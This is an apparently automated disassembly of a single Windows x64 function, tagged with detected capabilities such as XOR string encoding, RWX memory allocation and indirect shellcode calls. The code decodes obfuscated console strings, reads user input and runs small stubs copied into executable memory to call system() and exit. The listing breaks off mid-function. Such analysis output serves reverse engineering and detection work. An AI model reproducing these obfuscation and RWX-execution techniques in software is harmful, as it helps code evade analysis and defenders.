Function at 0x1400611f0
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create process on windows
Create thread
Encode data using xor
Enumerate processes
Execute shellcode via indirect call
Hash data using fnv
Parse pe header
Resolve function by parsing pe exports
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xbf0]
sub rsp, 0xcf0
mov rax, qword [0x1401494d8]
xor rax, rsp
mov qword [rbp + 0xbe8], rax
mov rdi, rdx
lea rdx, [0x14005b830]
lea rcx, [rbp + 0x270]
call fcn.14004b070
nop
mov rcx, rax
call fcn.1400565d0
nop
cmp dword [rbp + 0x278], 0
jne 0x140065833
lea rdx, [0x140058db0]
lea rcx, [rbp + 0x280]
call fcn.14004b070
mov rbx, rax
cmp dword [rax + 8], 0
je 0x14006583a
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x50]
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x14006583a
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
cmp dword [rbp + 0x288], eax
jne 0x140065833
mov rcx, rdi
call fcn.140059240
call fcn.140059e90
lea rcx, [0x14014a410]
call fcn.140071ad0
mov r12d, 3
cmp byte [0x14014a620], 0
jne 0x1400615b6
movdqa xmm1, xmmword [str.a___A]
movdqu xmmword [rbp + 0x7b0], xmm1
mov cl, 8
mov dl, reloc.WS2_32.dll_ntohl
mov r8b, reloc.WS2_32.dll_ntohs
mov r9b, 0x41
mov r11b, 7
xor bl, bl
movzx edi, cl
mov sil, reloc.WS2_32.dll_listen
mov r14b, 4
mov r15b, 5
mov r12b, 0x40
movzx r13d, r9b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r10d, xmm1
xor al, r10b
mov byte [rbp + 0x7b1], al
xor byte [rbp + 0x7b2], r10b
xor byte [rbp + 0x7b3], r10b
xor byte [rbp + 0x7b4], r10b
xor byte [rbp + 0x7b5], r10b
xor byte [rbp + 0x7b6], r10b
xor byte [rbp + 0x7b7], r10b
xor byte [rbp + 0x7b8], r10b
xor byte [rbp + 0x7b9], r10b
xor byte [rbp + 0x7ba], r10b
xor byte [rbp + 0x7bb], r10b
xor byte [rbp + 0x7bc], r10b
xor byte [rbp + 0x7bd], r10b
xor byte [rbp + 0x7be], r10b
xor byte [rbp + 0x7bf], r10b
xor cl, r10b
mov byte [rbp + 0x7c0], cl
xor dl, r10b
mov byte [rbp + 0x7c1], dl
xor r8b, r10b
mov byte [rbp + 0x7c2], r8b
xor r9b, r10b
mov byte [rbp + 0x7c3], r9b
xor r11b, r10b
mov byte [rbp + 0x7c4], r11b
xor bl, r10b
mov byte [rbp + 0x7c5], bl
xor dil, r10b
mov byte [rbp + 0x7c6], dil
xor sil, r10b
mov byte [rbp + 0x7c7], sil
xor r14b, r10b
mov byte [rbp + 0x7c8], r14b
xor r15b, r10b
mov byte [rbp + 0x7c9], r15b
xor r12b, r10b
mov byte [rbp + 0x7ca], r12b
xor r13b, r10b
mov byte [rbp + 0x7cb], r13b
mov al, 0x6b
xor al, r10b
mov byte [rbp + 0x7cc], al
mov byte [rbp + 0x7cd], 0
lea rdx, [rbp + 0x7b1]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14004b350
lea rdx, [0x14004d610]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x50], 0x7d0
lea rcx, [rsp + 0x50]
call fcn.14004de00
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov dword [rbp - 0x5c], 1
lea r14, [rbp + 0xc18]
movabs r13, 0xff00ff00ff00ff00
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x60], r14
mov rdi, qword [r14]
xor rdi, r13
mov qword [rsp + 0x50], rdi
mov qword [r14], 0
xor ecx, ecx
mov rax, qword [0x14014cb70]
lea rsi, [0x140000000]
lea r15, [0x14004ba50]
test rax, rax
je 0x1400614bb
xor edx, edx
cmp rax, r15
je 0x1400614aa
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x14cb70]
test rax, rax
jne 0x140061492
jmp 0x1400614bb
mov r8, qword [rsi + rdx*8 + 0x14ce90]
test r8, r8
jne 0x14006159f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x14006157e
mov rax, r15
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400614f0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014cb60]
mov qword [rsi + rax*8 + 0x14cb70], r15
mov qword [rsi + rax*8 + 0x14ce90], r8
inc rax
mov qword [0x14014cb60], rax
lea rdx, [rbp - 0x5c]
mov rcx, rbx
call r8
nop
xor rdi, r13
mov qword [r14], rdi
mov r12d, 3
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm1, xmmword [0x1400d9190]
movdqu xmmword [rbp + 0x6b8], xmm1
mov dl, 0x35
mov r8b, 0x34
mov r9b, reloc.WLDAP32.dll_Ordinal_46
mov r10b, Ordinal_41
mov r11b, reloc.WLDAP32.dll_Ordinal_41
mov bl, 0x67
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x6b9], al
xor byte [rbp + 0x6ba], cl
xor byte [rbp + 0x6bb], cl
xor byte [rbp + 0x6bc], cl
xor byte [rbp + 0x6bd], cl
xor byte [rbp + 0x6be], cl
xor byte [rbp + 0x6bf], cl
xor byte [rbp + 0x6c0], cl
xor byte [rbp + 0x6c1], cl
xor byte [rbp + 0x6c2], cl
xor byte [rbp + 0x6c3], cl
xor byte [rbp + 0x6c4], cl
xor byte [rbp + 0x6c5], cl
xor byte [rbp + 0x6c6], cl
xor byte [rbp + 0x6c7], cl
xor dl, cl
mov byte [rbp + 0x6c8], dl
xor r8b, cl
mov byte [rbp + 0x6c9], r8b
xor r9b, cl
mov byte [rbp + 0x6ca], r9b
xor r10b, cl
mov byte [rbp + 0x6cb], r10b
xor r11b, cl
mov byte [rbp + 0x6cc], r11b
xor bl, cl
mov byte [rbp + 0x6cd], bl
mov byte [rbp + 0x6ce], 0
lea r8, [0x14014a470]
lea rdx, [rbp + 0x6b9]
lea rcx, [rbp + 0x9f0]
call fcn.14004b710
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x1400616b2
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call fcn.14004c240
lea rdx, [0x14004d610]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x9f0]
call fcn.14004f4c0
mov byte [rbp + 0x878], 0x45
mov al, reloc.WLDAP32.dll_Ordinal_30
mov cl, reloc.WS2_32.dll_WSACleanup
mov dl, 0x18
mov r8b, 0x65
mov r9b, reloc.WLDAP32.dll_Ordinal_41
mov r10b, 0x2a
mov r11b, Ordinal_35
mov bl, Ordinal_45
mov dil, Ordinal_45
xor esi, esi
xor al, 0x45
mov byte [rbp + 0x879], al
xor cl, 0x45
mov byte [rbp + 0x87a], cl
xor dl, 0x45
mov byte [rbp + 0x87b], dl
xor r8b, 0x45
mov byte [rbp + 0x87c], r8b
xor r9b, 0x45
mov byte [rbp + 0x87d], r9b
xor r10b, 0x45
mov byte [rbp + 0x87e], r10b
xor r11b, 0x45
mov byte [rbp + 0x87f], r11b
xor bl, 0x45
mov byte [rbp + 0x880], bl
xor dil, 0x45
mov byte [rbp + 0x881], dil
mov byte [rbp + 0x882], sil
lea rdx, [rbp + 0x879]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14004b350
lea rdx, [0x14004d610]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov byte [rbp + 0x8b8], Ordinal_46
mov al, 0x77
mov cl, reloc.WLDAP32.dll_Ordinal_30
mov dl, 0x71
mov r8b, ntohl
mov r9b, 0x5e
mov r10b, 0x49
mov r11b, 0x4b
mov bl, 0x45
mov dil, 0x5f
mov sil, 0x58
movzx r14d, r10b
movzx r15d, r9b
xor r13d, r13d
xor al, 0x2c
mov byte [rbp + 0x8b9], al
xor cl, 0x2c
mov byte [rbp + 0x8ba], cl
xor dl, 0x2c
mov byte [rbp + 0x8bb], dl
xor r8b, 0x2c
mov byte [rbp + 0x8bc], r8b
xor r9b, 0x2c
mov byte [rbp + 0x8bd], r9b
xor r10b, 0x2c
mov byte [rbp + 0x8be], r10b
xor r11b, 0x2c
mov byte [rbp + 0x8bf], r11b
xor bl, 0x2c
mov byte [rbp + 0x8c0], bl
xor dil, 0x2c
mov byte [rbp + 0x8c1], dil
xor sil, 0x2c
mov byte [rbp + 0x8c2], sil
xor r14b, 0x2c
mov byte [rbp + 0x8c3], r14b
xor r15b, 0x2c
mov byte [rbp + 0x8c4], r15b
mov byte [rbp + 0x8c5], r13b
lea rdx, [rbp + 0x8b9]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14004b350
lea rdx, [0x14004d610]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp + 0x928], xmm0
movdqa xmm1, xmmword [0x1400d9010]
movdqu xmmword [rbp + 0x938], xmm1
mov byte [rbp + 0x928], r13b
lea rdx, [rbp + 0x928]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14004b0f0
mov al, Ordinal_32
mov byte [rsp + 0x70], al
xor ecx, ecx
xor al, 0x2e
mov byte [rsp + 0x71], al
mov byte [rsp + 0x72], cl
lea r10, [rbp + 0x928]
cmp qword [rbp + 0x940], 0x10
cmovae r10, qword [rbp + 0x928]
lea r9, [rsp + 0x71]
lea r15, [0x14004b9e0]
test r10, r10
je 0x14006193a
nop dword [rax]
movsx ecx, byte [r10]
lea r10, [r10 + 1]
movsx r8d, al
lea r9, [r9 + 1]
lea eax, [rcx - 0x41]
lea edx, [rcx + 0x20]
cmp ax, 0x19
cmova dx, cx
lea eax, [r8 - 0x41]
cmp ax, 0x19
ja 0x1400618ed
add r8w, 0x20
test dx, dx
je 0x1400618fe
cmp dx, r8w
jne 0x14006193a
movzx eax, byte [r9]
jmp 0x1400618c0
lea rdx, [0x14014a750]
cmp qword [0x14014a768], 0x10
cmovae rdx, qword [0x14014a750]
mov r8, qword [0x14014a760]
lea r15, [0x1401493d8]
mov rcx, r15
call fcn.140054de0
lea r13, [0x140000000]
xor r14d, r14d
jmp 0x140061c7a
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rbp + 0x828], reloc.WLDAP32.dll_Ordinal_22
mov al, 0x75
mov cl, 0x7a
mov dl, 0x65
xor r8d, r8d
xor al, 0x16
mov byte [rbp + 0x829], al
xor cl, 0x16
mov byte [rbp + 0x82a], cl
xor dl, 0x16
mov byte [rbp + 0x82b], dl
mov byte [rbp + 0x82c], r8b
lea rax, [rbp + 0x829]
mov qword [rbp + 0x50], rax
lea rsi, [rbp + 0xc18]
movabs rax, 0xff00ff00ff00ff00
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rsi
mov rdi, qword [rsi]
xor rdi, rax
mov qword [rsp + 0x50], rdi
xor r14d, r14d
mov qword [rsi], r14
mov ecx, r14d
mov rax, qword [0x14014c520]
lea r13, [0x140000000]
test rax, rax
je 0x1400619eb
mov edx, r14d
cmp rax, r15
je 0x1400619da
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x14c520]
test rax, rax
jne 0x1400619c2
jmp 0x1400619eb
mov r8, qword [r13 + rdx*8 + 0x14c840]
test r8, r8
jne 0x140061acf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140061a12
mov r8, r14
jmp 0x140061aae
mov rax, r15
mov rcx, r8
mov rdx, r12
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140061a20
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014c510]
mov qword [r13 + rax*8 + 0x14c520], r15
mov qword [r13 + rax*8 + 0x14c840], r8
inc rax
mov qword [0x14014c510], rax
lea rdx, [rbp + 0x50]
mov rcx, rbx
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rdi, rax
mov qword [rsi], rdi
xor r8d, r8d
lea rdx, [0x1400ce724]
lea rcx, [0x14014a750]
call fcn.140054de0
movdqa xmm1, xmmword [0x1400d93b0]
movdqu xmmword [rbp + 0x710], xmm1
mov cl, 0x5d
mov r8b, 0x5b
mov r9b, 0x50
mov r10b, Ordinal_79
movzx r11d, r8b
mov bl, 4
mov dil, reloc.WLDAP32.dll_Ordinal_30
mov sil, 0x34
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rbp + 0x711], al
xor byte [rbp + 0x712], dl
xor byte [rbp + 0x713], dl
xor byte [rbp + 0x714], dl
xor byte [rbp + 0x715], dl
xor byte [rbp + 0x716], dl
xor byte [rbp + 0x717], dl
xor byte [rbp + 0x718], dl
xor byte [rbp + 0x719], dl
xor byte [rbp + 0x71a], dl
xor byte [rbp + 0x71b], dl
xor byte [rbp + 0x71c], dl
xor byte [rbp + 0x71d], dl
xor byte [rbp + 0x71e], dl
xor byte [rbp + 0x71f], dl
xor cl, dl
mov byte [rbp + 0x720], cl
xor r8b, dl
mov byte [rbp + 0x721], r8b
xor r9b, dl
mov byte [rbp + 0x722], r9b
xor r10b, dl
mov byte [rbp + 0x723], r10b
xor r11b, dl
mov byte [rbp + 0x724], r11b
xor bl, dl
mov byte [rbp + 0x725], bl
xor dil, dl
mov byte [rbp + 0x726], dil
xor sil, dl
mov byte [rbp + 0x727], sil
mov byte [rbp + 0x728], 0
lea rdx, [rbp + 0x711]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14004b350
lea rdx, [0x14004d610]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp + 0x948], xmm0
mov qword [rbp + 0x958], r14
mov qword [rbp + 0x960], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x948], 0
lea rdx, [rbp + 0x948]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14004b0f0
lea rdx, [rbp + 0x948]
cmp qword [rbp + 0x960], 0x10
cmovae rdx, qword [rbp + 0x948]
mov r8, qword [rbp + 0x958]
lea r15, [0x1401493d8]
mov rcx, r15
call fcn.140054de0
nop
lea rcx, [rbp + 0x948]
call fcn.14004f4c0
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rbp + 0x830], WSAGetLastError
mov al, 0xa
mov cl, 5
mov dl, reloc.WLDAP32.dll_Ordinal_26
xor r8d, r8d
xor al, 0x69
mov byte [rbp + 0x831], al
xor cl, 0x69
mov byte [rbp + 0x832], cl
xor dl, 0x69
mov byte [rbp + 0x833], dl
mov byte [rbp + 0x834], r8b
lea rax, [rbp + 0x831]
mov qword [rbp + 0x58], rax
lea rsi, [rbp + 0xc18]
movabs rax, 0xff00ff00ff00ff00
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rsi
mov rdi, qword [rsi]
xor rdi, rax
mov qword [rsp + 0x50], rdi
mov qword [rsi], r14
mov ecx, r14d
mov rax, qword [0x14014c520]
test rax, rax
je 0x140061d29
mov rdx, r14
lea r8, [0x14004b9e0]
nop
cmp rax, r8
je 0x140061d18
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x14c520]
test rax, rax
jne 0x140061d00
jmp 0x140061d29
mov r8, qword [r13 + rdx*8 + 0x14c840]
test r8, r8
jne 0x140061e16
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140061d50
mov r8, r14
jmp 0x140061dee
lea rax, [0x14004b9e0]
mov rcx, r8
mov rdx, r12
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140061d60
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014c510]
lea rcx, [0x14004b9e0]
mov qword [r13 + rax*8 + 0x14c520], rcx
mov qword [r13 + rax*8 + 0x14c840], r8
inc rax
mov qword [0x14014c510], rax
lea rdx, [rbp + 0x58]
mov rcx, rbx
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rdi, rax
mov qword [rsi], rdi
mov rdx, r15
lea rcx, [rbp + 0x3e0]
call fcn.14004e390
mov rdx, rax
lea rcx, [0x14014a410]
call fcn.1400734b0
cmp byte [0x14014a620], 0
jne 0x140062147
movdqa xmm1, xmmword [0x1400d91f0]
movdqu xmmword [rbp + 0x770], xmm1
mov cl, reloc.WLDAP32.dll_Ordinal_32
mov dl, 0x25
mov r8b, Ordinal_41
mov r10b, 0x6c
movzx r11d, cl
movzx ebx, dl
mov dil, 0x2f
mov sil, reloc.WLDAP32.dll_Ordinal_41
mov r14b, Ordinal_35
mov r15b, 0x3f
movzx r12d, sil
mov r13b, WSAGetLastError
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r9d, xmm1
xor al, r9b
mov byte [rbp + 0x771], al
xor byte [rbp + 0x772], r9b
xor byte [rbp + 0x773], r9b
xor byte [rbp + 0x774], r9b
xor byte [rbp + 0x775], r9b
xor byte [rbp + 0x776], r9b
xor byte [rbp + 0x777], r9b
xor byte [rbp + 0x778], r9b
xor byte [rbp + 0x779], r9b
xor byte [rbp + 0x77a], r9b
xor byte [rbp + 0x77b], r9b
xor byte [rbp + 0x77c], r9b
xor byte [rbp + 0x77d], r9b
xor byte [rbp + 0x77e], r9b
xor byte [rbp + 0x77f], r9b
xor cl, r9b
mov byte [rbp + 0x780], cl
xor dl, r9b
mov byte [rbp + 0x781], dl
xor r8b, r9b
mov byte [rbp + 0x782], r8b
xor r10b, r9b
mov byte [rbp + 0x783], r10b
xor r11b, r9b
mov byte [rbp + 0x784], r11b
xor bl, r9b
mov byte [rbp + 0x785], bl
xor dil, r9b
mov byte [rbp + 0x786], dil
xor sil, r9b
mov byte [rbp + 0x787], sil
xor r14b, r9b
mov byte [rbp + 0x788], r14b
xor r15b, r9b
mov byte [rbp + 0x789], r15b
xor r12b, r9b
mov byte [rbp + 0x78a], r12b
xor r13b, r9b
mov byte [rbp + 0x78b], r13b
mov byte [rbp + 0x78c], 0
lea rdx, [rbp + 0x771]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14004b350
lea rdx, [0x14004d610]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x50], 0x2710
lea rcx, [rsp + 0x50]
call fcn.14004de00
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov rax, 0xffffffffffffffff
mov dword [rbp - 0x58], eax
lea rsi, [rbp + 0xc18]
movabs r15, 0xff00ff00ff00ff00
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], rsi
mov rdi, qword [rsi]
xor rdi, r15
mov qword [rsp + 0x50], rdi
mov qword [rsi], 0
xor ecx, ecx
mov rax, qword [0x14014cb70]
lea r13, [0x140000000]
lea r14, [0x14004ba50]
test rax, rax
je 0x140062049
xor edx, edx
nop dword [rax + rax]
cmp rax, r14
je 0x140062038
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x14cb70]
test rax, rax
jne 0x140062020
jmp 0x140062049
mov r8, qword [r13 + rdx*8 + 0x14ce90]
test r8, r8
jne 0x14006212f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x14006210e
mov rax, r14
mov rcx, r8
mov edx, 3
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140062080
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014cb60]
mov qword [r13 + rax*8 + 0x14cb70], r14
mov qword [r13 + rax*8 + 0x14ce90], r8
inc rax
mov qword [0x14014cb60], rax
lea rdx, [rbp - 0x58]
mov rcx, rbx
call r8
nop
xor rdi, r15
mov qword [rsi], rdi
lea r15, [0x1401493d8]
xor edi, edi
mov r14d, edi
mov rcx, qword [0x14014a5f8]
mov rax, rcx
mov rdx, qword [0x14014a5f0]
sub rax, rdx
sar rax, 6
movabs r12, 0x7fffffffffffffff
test rax, rax
je 0x1400624e7
mov ebx, edi
lea r12, [0x140149418]
sub rcx, rdx
sar rcx, 6
cmp rcx, rbx
jbe 0x14006584b
shl rbx, 6
add rbx, rdx
mov rdx, rbx
lea rcx, [rbp + 0x990]
call fcn.14004e390
nop
lea rdx, [rbx + 0x20]
lea rcx, [rbp + 0x9b0]
call fcn.14004e390
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], rdi
mov rsi, qword [rbp + 0x9c0]
lea rbx, [rbp + 0x9b0]
cmp qword [rbp + 0x9c8], 0x10
cmovae rbx, qword [rbp + 0x9b0]
movabs rax, 0x7fffffffffffffff
cmp rsi, rax
ja 0x140065845
mov qword [rbp - 0x68], reloc.WS2_32.dll_ntohs
cmp rsi, 0x10
jae 0x14006227b
mov qword [rbp - 0x70], rsi
movzx eax, byte [rbx]
mov byte [rbp - 0x80], al
movzx eax, byte [rbx + 1]
mov byte [rbp - 0x7f], al
movzx eax, byte [rbx + 2]
mov byte [rbp - 0x7e], al
movzx eax, byte [rbx + 3]
mov byte [rbp - 0x7d], al
movzx eax, byte [rbx + 4]
mov byte [rbp - 0x7c], al
movzx eax, byte [rbx + 5]
mov byte [rbp - 0x7b], al
movzx eax, byte [rbx + 6]
mov byte [rbp - 0x7a], al
movzx eax, byte [rbx + 7]
mov byte [rbp - 0x79], al
movzx eax, byte [rbx + 8]
mov byte [rbp - 0x78], al
movzx eax, byte [rbx + 9]
mov byte [rbp - 0x77], al
movzx eax, byte [rbx + 0xa]
mov byte [rbp - 0x76], al
movzx eax, byte [rbx + 0xb]
mov byte [rbp - 0x75], al
movzx eax, byte [rbx + 0xc]
